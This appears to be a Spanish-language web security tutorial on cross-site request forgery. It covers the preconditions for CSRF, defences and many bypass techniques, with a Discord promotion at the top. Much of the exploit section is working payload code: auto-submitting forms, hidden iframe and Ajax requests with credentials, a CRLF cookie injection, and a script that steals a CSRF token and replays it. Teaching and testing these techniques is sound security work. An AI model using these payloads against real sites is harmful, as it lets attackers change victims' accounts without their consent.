Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
Cross-Site Request Forgery (CSRF) Explained
Cross-Site Request Forgery (CSRF) es un tipo de vulnerabilidad de seguridad que se encuentra en aplicaciones web. Permite a los atacantes realizar acciones en nombre de usuarios desprevenidos al explotar sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que ha iniciado sesión en la plataforma de una víctima, visita un sitio malicioso. Este sitio luego desencadena solicitudes a la cuenta de la víctima a través de métodos como la ejecución de JavaScript, el envío de formularios o la obtención de imágenes.
Prerequisites for a CSRF Attack
Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:
Identificar una Acción Valiosa: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
Gestión de Sesiones: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de Autenticación Básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito.
Ausencia de Parámetros Impredecibles: La solicitud no debe contener parámetros impredecibles, ya que pueden prevenir el ataque.
Quick Check
Puedes capturar la solicitud en Burp y verificar las protecciones CSRF y para probar desde el navegador puedes hacer clic en Copy as fetch y verificar la solicitud:
Defending Against CSRF
Se pueden implementar varias contramedidas para protegerse contra ataques CSRF:
Verificación del Usuario: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
Verificación de Encabezados Referer u Origin: Validar estos encabezados puede ayudar a asegurar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir verificaciones mal implementadas, como:
Usar http://mal.net?orig=http://example.com (la URL termina con la URL confiable)
Usar http://example.com.mal.net (la URL comienza con la URL confiable)
Modificación de Nombres de Parámetros: Alterar los nombres de los parámetros en solicitudes POST o GET puede ayudar a prevenir ataques automatizados.
Tokens CSRF: Incorporar un token CSRF único en cada sesión y requerir este token en solicitudes posteriores puede mitigar significativamente el riesgo de CSRF. La efectividad del token puede mejorarse al hacer cumplir CORS.
Entender e implementar estas defensas es crucial para mantener la seguridad e integridad de las aplicaciones web.
Defences Bypass
From POST to GET
Quizás el formulario que deseas abusar está preparado para enviar una solicitud POST con un token CSRF pero, deberías verificar si un GET también es válido y si cuando envías una solicitud GET el token CSRF todavía se está validando.
Lack of token
Las aplicaciones pueden implementar un mecanismo para validar tokens cuando están presentes. Sin embargo, surge una vulnerabilidad si la validación se omite por completo cuando el token está ausente. Los atacantes pueden explotar esto al eliminar el parámetro que lleva el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo un ataque de Cross-Site Request Forgery (CSRF) de manera efectiva.
CSRF token is not tied to the user session
Las aplicaciones que no vinculan los tokens CSRF a las sesiones de usuario presentan un riesgo de seguridad significativo. Estos sistemas verifican los tokens contra un pool global en lugar de asegurarse de que cada token esté vinculado a la sesión iniciadora.
Así es como los atacantes explotan esto:
Autenticarse usando su propia cuenta.
Obtener un token CSRF válido del pool global.
Usar este token en un ataque CSRF contra una víctima.
Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el mecanismo de validación de tokens inadecuado de la aplicación.
Method bypass
Si la solicitud está utilizando un método "raro", verifica si la funcionalidad de anulación de método está funcionando. Por ejemplo, si está usando un método PUT puedes intentar usar un método POST y enviar: https://example.com/my/dear/api/val/num?_method=PUT
Esto también podría funcionar enviando el parámetro _method dentro de una solicitud POST o usando los encabezados:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Custom header token bypass
Si la solicitud está agregando un encabezado personalizado con un token a la solicitud como método de protección CSRF, entonces:
Prueba la solicitud sin el Token Personalizado y también el encabezado.
Prueba la solicitud con el mismo tamaño exacto pero con un token diferente.
CSRF token is verified by a cookie
Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de solicitud o estableciendo una cookie CSRF y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el parámetro de solicitud se alinea con el valor en la cookie.
Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallas que permiten a un atacante establecer una cookie CSRF en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotar esto cargando una imagen engañosa que establece la cookie, seguida de iniciar el ataque CSRF.
A continuación se muestra un ejemplo de cómo podría estructurarse un ataque:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><imgsrc="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"onerror="document.forms[0].submit();"/></body></html>
Nota que si el token csrf está relacionado con la cookie de sesión, este ataque no funcionará porque necesitarás establecer la sesión de la víctima, y por lo tanto estarás atacándote a ti mismo.
Cambio de Content-Type
De acuerdo a esto, para evitar solicitudes preflight usando el método POST, estos son los valores de Content-Type permitidos:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Sin embargo, ten en cuenta que la lógica del servidor puede variar dependiendo del Content-Type utilizado, así que deberías probar los valores mencionados y otros como application/json,text/xml, application/xml.
Ejemplo (de aquí) de enviar datos JSON como text/plain:
Bypass de solicitudes de preflight para datos JSON
Al intentar enviar datos JSON a través de una solicitud POST, no es posible utilizar directamente Content-Type: application/json en un formulario HTML. De manera similar, utilizar XMLHttpRequest para enviar este tipo de contenido inicia una solicitud de preflight. No obstante, existen estrategias para potencialmente eludir esta limitación y verificar si el servidor procesa los datos JSON independientemente del Content-Type:
Usar tipos de contenido alternativos: Emplear Content-Type: text/plain o Content-Type: application/x-www-form-urlencoded configurando enctype="text/plain" en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type.
Modificar el tipo de contenido: Para evitar una solicitud de preflight mientras se asegura que el servidor reconozca el contenido como JSON, puede enviar los datos con Content-Type: text/plain; application/json. Esto no activa una solicitud de preflight, pero podría ser procesado correctamente por el servidor si está configurado para aceptar application/json.
Utilización de archivos SWF Flash: Un método menos común pero factible implica usar un archivo SWF flash para eludir tales restricciones. Para una comprensión más profunda de esta técnica, consulte esta publicación.
Bypass de verificación de Referer / Origen
Evitar el encabezado Referer
Las aplicaciones pueden validar el encabezado 'Referer' solo cuando está presente. Para evitar que un navegador envíe este encabezado, se puede utilizar la siguiente etiqueta meta HTML:
<metaname="referrer"content="never">
Esto asegura que el encabezado 'Referer' se omita, lo que puede eludir las verificaciones de validación en algunas aplicaciones.
Para establecer el nombre de dominio del servidor en la URL que el Referer va a enviar dentro de los parámetros, puedes hacer:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
Método HEAD bypass
La primera parte de este CTF writeup explica que el código fuente de Oak, un enrutador, está configurado para manejar solicitudes HEAD como solicitudes GET sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente se les da al controlador GET, pero la aplicación solo elimina el cuerpo de la respuesta.
Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente enviar una solicitud HEAD que será procesada como una solicitud GET.
Ejemplos de Exploit
Exfiltrando el token CSRF
Si se está utilizando un token CSRF como defensa, podrías intentar exfiltrarlo abusando de una vulnerabilidad de XSS o una vulnerabilidad de Markup Colgante.
GET usando etiquetas HTML
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Otros tags de HTML5 que se pueden usar para enviar automáticamente una solicitud GET son:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Solicitud POST de formulario
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit --><inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Solicitud POST de formulario a través de iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Solicitud POST de Ajax
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type','application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Robar el token CSRF y enviar una solicitud POST
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
Robar el token CSRF y enviar una solicitud Post usando un iframe, un formulario y Ajax
El código se puede utilizar para realizar un ataque de fuerza bruta a un formulario de inicio de sesión utilizando un token CSRF (también está utilizando el encabezado X-Forwarded-For para intentar eludir un posible bloqueo de IP):